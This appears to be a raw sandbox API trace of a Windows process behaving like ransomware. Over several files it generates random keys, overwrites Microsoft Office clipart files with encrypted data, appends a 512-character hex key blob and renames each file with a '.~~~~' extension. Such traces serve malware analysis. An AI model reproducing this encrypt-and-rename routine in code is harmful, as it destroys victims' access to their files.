	[0090.698] CryptReleaseContext (hProv=0x28d6128, dwFlags=0x0) returned 1
	[0090.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.698] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21068839814) returned 1
	[0090.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9fd68c30, dwHighDateTime=0x1d60e1e)) 
	[0090.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac628
	[0090.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac628 | out: hHeap=0x300000) returned 1
	[0090.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870db0
	[0090.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.699] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.699] GetLastError () returned 0x0
	[0090.699] GetLastError () returned 0x0
	[0090.699] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.699] GetLastError () returned 0x0
	[0090.699] GetLastError () returned 0x0
	[0090.705] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffdfc0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.705] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x2040, lpOverlapped=0x0) returned 1
	[0090.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.705] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.706] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.706] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.706] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.706] CloseHandle (hObject=0x128) returned 1
	[0090.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.706] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.~~~~")) returned 1
	[0090.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.707] GetLastError () returned 0x0
	[0090.708] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0090.709] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0090.709] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0090.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.709] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21069951750) returned 1
	[0090.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9fd8ed90, dwHighDateTime=0x1d60e1e)) 
	[0090.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac7b0
	[0090.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7b0 | out: hHeap=0x300000) returned 1
	[0090.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870ee0
	[0090.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.710] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.710] GetLastError () returned 0x0
	[0090.710] GetLastError () returned 0x0
	[0090.710] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.711] GetLastError () returned 0x0
	[0090.711] GetLastError () returned 0x0
	[0090.713] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff57e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.713] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xa82, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0xa82, lpOverlapped=0x0) returned 1
	[0090.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.713] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.714] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.714] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.714] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.714] CloseHandle (hObject=0x128) returned 1
	[0090.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.714] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.~~~~")) returned 1
	[0090.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.715] GetLastError () returned 0x0
	[0090.715] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39ffc0) returned 1
	[0090.716] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0090.716] CryptReleaseContext (hProv=0x39ffc0, dwFlags=0x0) returned 1
	[0090.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0090.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.716] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21070653649) returned 1
	[0090.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9fd8ed90, dwHighDateTime=0x1d60e1e)) 
	[0090.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac7e8
	[0090.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7e8 | out: hHeap=0x300000) returned 1
	[0090.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871010
	[0090.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.717] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.717] GetLastError () returned 0x0
	[0090.717] GetLastError () returned 0x0
	[0090.717] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.718] GetLastError () returned 0x0
	[0090.718] GetLastError () returned 0x0
	[0090.720] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff4f0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.721] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0xb10, lpOverlapped=0x0) returned 1
	[0090.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.721] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.721] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.721] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.721] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.721] CloseHandle (hObject=0x128) returned 1
	[0090.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.722] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.~~~~")) returned 1
	[0090.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.865] GetLastError () returned 0x0
	[0090.872] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0090.873] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.873] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.873] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21086316205) returned 1
	[0090.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ff0bb50, dwHighDateTime=0x1d60e1e)) 
	[0090.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac970
	[0090.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac970 | out: hHeap=0x300000) returned 1
	[0090.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28710a8
	[0090.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.874] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.874] GetLastError () returned 0x0
	[0090.874] GetLastError () returned 0x0
	[0090.874] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.874] GetLastError () returned 0x0
	[0090.874] GetLastError () returned 0x0
	[0090.877] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff1d0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.877] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xe30, lpOverlapped=0x0) returned 1
	[0090.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.878] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.878] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.878] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.878] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.878] CloseHandle (hObject=0x128) returned 1
	[0090.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.878] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.~~~~")) returned 1
	[0090.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0090.879] GetLastError () returned 0x0
	[0090.880] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0090.881] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.881] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0090.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0090.881] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21087123042) returned 1
	[0090.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ff31cb0, dwHighDateTime=0x1d60e1e)) 
	[0090.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0090.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0090.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0090.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381b58
	[0090.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381b58 | out: hHeap=0x300000) returned 1
	[0090.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0090.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871a28
	[0090.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.882] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0090.882] GetLastError () returned 0x0
	[0090.882] GetLastError () returned 0x0
	[0090.882] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0090.882] GetLastError () returned 0x0
	[0090.882] GetLastError () returned 0x0
	[0090.884] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff1e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.884] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xe20, lpOverlapped=0x0) returned 1
	[0090.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.885] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.885] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.885] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.885] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.885] CloseHandle (hObject=0x128) returned 1
	[0090.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.885] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.~~~~")) returned 1
	[0090.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
